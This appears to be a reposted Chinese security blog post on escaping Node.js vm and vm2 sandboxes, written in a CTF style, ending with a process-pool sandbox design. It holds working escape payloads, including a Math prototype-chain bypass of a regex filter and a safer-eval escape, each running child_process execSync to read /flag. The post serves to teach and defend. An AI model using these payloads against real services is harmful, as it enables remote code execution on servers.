nodejs沙箱与黑魔法
2020-06-05 10:54:42 Author: xz.aliyun.com(查看原文) 阅读量:590 收藏

什么是沙箱

node官方文档里提到node的vm模块可以用来做沙箱环境执行代码,对代码的上下文环境做隔离
A common use case is to run the code in a sandboxed environment. 
The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code.

JavaScript本身极其灵活 所以容易出现许多黑魔法

这个node沙箱,他安全吗?

vm相对于尽管隔离了代码上下文环境,但是依然可以访问标准的JS API和全局的NodeJS环境
因此vm并不安全

The vm module is not a security mechanism. Do not use it to run untrusted code

举个例子

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")
console.log("The app goes on...")

很轻易看出 这一段代码永远不会输出
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示

let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

上述代码中的ctx不能包含引用类型的属性
即使能访问标准的JS API和全局的NodeJS环境
也不会造成污染
这是由于node原生vm设计缺陷引起的
于是就有了vm2
https://github.com/patriksimek/vm2

const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined

vm2的timeout对于异步代码不起作用
所以下面的代码永远不会执行结束
陷入死循环

const { VM } = require('vm2');
const vm = new VM({ timeout: 1000, sandbox: {}});
vm.run('new Promise(()=>{})');

这个时候就可以使用黑魔法:通过重新定义Promise的方式来禁用Promise
绕过成功

const { VM } = require('vm2');
const vm = new VM({ 
 timeout: 1000, sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');

全局变量污染

举个例子~

eval('1+2')

eval 是全局对象的一个函数属性,执行的代码拥有着和应程中其它正常代码一样的的权限,它具有访问执行上下文中的局部变量的功能,亦能访问全部全局变量
此时便造成了所谓的全局变量污染

再举个例子

观察下列两个JavaScript

function f() {
    alert("f() in a.js");
}

setTimeout(function() {
    f();
}, 1000);
function f() {
    alert("f() in b.js");
}

setTimeout(function() {
    f();
}, 2000);

先后载入a,b两个js
会看到两次"f() in b.js"
后载入的b.js把f重新定义了
假设a.js需要分割字符串
b.js需要分割数组
两个JavaScript同时拥有split函数
那一个模块就要损毁
二、解决办法
1、定义全局变量命名空间
只创建一个全局变量,并定义该变量为当前应用容器,把其他全局变量追加在该命名空间下

var sxc={};
        sxc.name={
            big_name:"sunxiaochuan",
            small_name:"sungou"
        };
        sxc.work={
            bilibili_work:"chouxiang",
            weibo_work:"qialanqian"
       };

或者使用匿名函数

(function(){
    var exp={};
    var name="aa";
    exp.method=function(){
        return name;
    };
    window.ex=exp;
})();

JavaScript之原型链污染

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}
app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'ErrorOccured';
      } catch (e) {
        console.log(e);
        result = 'ErrorOccured';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

重点关注

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

绕过正则,因为可以使用Math.随便什么单词,所以可以获取到Math.proto,但这姿势无法直接利用
但是经过尝试,我们发现,Arrow Function 是可以使用的,尝试构造这种链

((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__

然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
然后使用

Math+1 // '[object Math]1'

从原型链上导出String和Function

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()

// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructro; // Function
f(e)(); // 调用
exp
def gen(cmd):
  s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
  return ','.join([str(ord(i)) for i in s])
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()

再举一例 是最近一个业务场景中遇到的
js依赖库漏洞和vm漏洞

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

Nodejs文档

setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。 非整数的 delay 会被截断为整数。
所以直接传

?delay=2147483649

给出了package.json文件,查看使用依赖库以及版本,对其中比较核心的safer-eval感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)

然后找到了这个
利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象
vm2相关issue

构造payload

{
    'e': """(function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
    }

如何建立更为安全的沙箱环境?

通过进程池统一调度管理沙箱进程

基于资源利用最大化,提出以下方案

新建一个进程池,所有任务到来会创建一个 Script 实例
进入 pending 队列
直接将 script 实例的 defer 对象返回
调用处进行 await 执行结果
再由 sandbox master 根据工程进程的空闲程序来调度执行
这个master 会将 script 的执行信息,包括重要的 ScriptId,等等,发送给空闲的 worker
worker 执行完成后会将「结果 + script 信息」回传至 master
master 通过 ScriptId 识别执行完毕的脚本id 判断是哪个脚本结束
结果进行 resolve 或 reject 处理

这样,通过**进程池**即能降低**进程来回创建和销毁的开销**
大致机制如下
异步操作超时,
将工程进程直接kill,
master 将发现一个工程进程被kill掉
再立即创建替补进程

将数据发送至沙箱的方式也值得研究
通过动态代码处理数据,直接序列化后通过 IPC 传入隔离的 Sandbox 进程
执行结果一样经过序列化通过 IPC 传输
其中,如果需要传入一个方法给 sandbox,由于不在一个进程,并不能方便的将引用传递给 sandbox
此时我们可以将宿主方法,在传递给 sandbox worker 之类做一下处理,转换为一个**描述对象**,包括了允许 sandbox 调用的方法集合,然后将允许调用的方法列表,如同其它数据一样发送给 worker 进程,worker 收到数据后,识别出**方法描述对象**,然后在 worker 进程中的 sandbox 对象上建立代理方法,代理方法同样通过 IPC 和 master 通讯。

文章来源: http://xz.aliyun.com/t/7842
如有侵权请联系:admin#unsafe.sh